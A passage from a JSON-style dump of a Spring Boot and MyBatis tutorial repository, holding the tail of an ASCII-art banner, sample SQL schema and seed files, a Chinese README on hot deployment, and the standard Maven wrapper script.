::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/resources/init.sql",
    "content": "CREATE TABLE STUDENT (\n    SNO VARCHAR2(3 BYTE) NOT NULL ,\n    SNAME VARCHAR2(9 BYTE) NOT NULL ,\n    SSEX CHAR(2 BYTE) NOT NULL \n);\nINSERT INTO STUDENT VALUES ('001', 'KangKang', 'M ');\nINSERT INTO STUDENT VALUES ('002', 'Mike', 'M ');\nINSERT INTO STUDENT VALUES ('003', 'Jane', 'F ');"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/src/main/resources/sql/schema.sql",
    "content": "# CREATE DATABASE IF NOT EXISTS pos default charset utf8 COLLATE utf8_general_ci;\n# SET FOREIGN_KEY_CHECKS=0;\n# USE pos;\n\n-- 用户表\nDROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `username`                  VARCHAR(32) NOT NULL COMMENT '账号',\n  `name`                      VARCHAR(16) DEFAULT '' COMMENT '名字',\n  `password`                  VARCHAR(128) DEFAULT '' COMMENT '密码',\n  `salt`                      VARCHAR(64) DEFAULT '' COMMENT 'md5密码盐',\n  `phone`                     VARCHAR(32) DEFAULT '' COMMENT '联系电话',\n  `tips`                      VARCHAR(255) COMMENT '备注',\n  `state`                     TINYINT(1) DEFAULT 1 COMMENT '状态 1:正常 2:禁用',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='后台管理用户表';\nINSERT INTO `t_user` VALUES (1,'admin','系统管理员','123456','www', '17890908889', '系统管理员', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_user` VALUES (2,'aix','张三','123456','eee', '17859569358', '', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/README.md",
    "content": "# SpringBoot-Mybatis-JSP\n&nbsp;&nbsp;&nbsp;&nbsp;SpringBoot入门级别案例，主要涉及技术点有，SpringBoot+Mybatis+JSP。其他内容有:多环境切换，统一异常处理，SpringBoot热部署，阿里数据源监控，SpringBoot中的访问日志等...\n\n## 1.使用sprongloader进行热部署的两种方法\n\n> 缺点： _不支持对“新增方法”和“新增类”情景的热部署_\n\n#### 1.1直接使用maven命令执行\n```\nD:\\20171112Git\\SpringBoot-Mybatis-JSP>mvn spring-boot:run -f pom.xml\n```\n#### 1.2使用run main执行\n- 此方法依赖jar包： _**springloaded-1.2.4.RELEASE.jar**_ \n\n```\n-javaagent:.\\hotplugin\\springloaded-1.2.4.RELEASE.jar -noverify\n```\n>注意： 项目工程中的run main的默认起始目录为项目工程目录\n\n### 2.添加spring-boot-devtools依赖\n\n#### 2.1直接main方法启动\n- 直接run main就可以了\n\n#### 2.2使用maven命令启动\n- 需要添加maven插件\n```\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n\n```\n- maven启动命令\n```\nD:\\20171112Git\\SpringBoot-Mybatis-JSP>mvn spring-boot:run -f pom.xml\n```\n\n#### 2.3原理解析\n\n&nbsp;&nbsp;&nbsp;&nbsp;原理是使用了两个ClassLoader，一个Classloader加载那些不会改变的类（第三方Jar包），另一个ClassLoader加载会更改的类，称为  restart ClassLoader,这样在有代码更改的时候，原来的restart ClassLoader 被丢弃，重新创建一个restart ClassLoader，由于需要加载的类相比较少，所以实现了较快的重启时间\n> 特别注意：eclipse中编译发生在save的时候；而在idea中的编译则需要ctr+f9来主动去手工编译project.\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/doc/springload.md",
    "content": "Java VM参数：\n-javaagent:.\\hotplugin\\springloaded-1.2.4.RELEASE.jar -noverify\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven2 Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Migwn, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\n  # TODO classpath?\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\necho $MAVEN_PROJECTBASEDIR\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/mvnw.cmd",
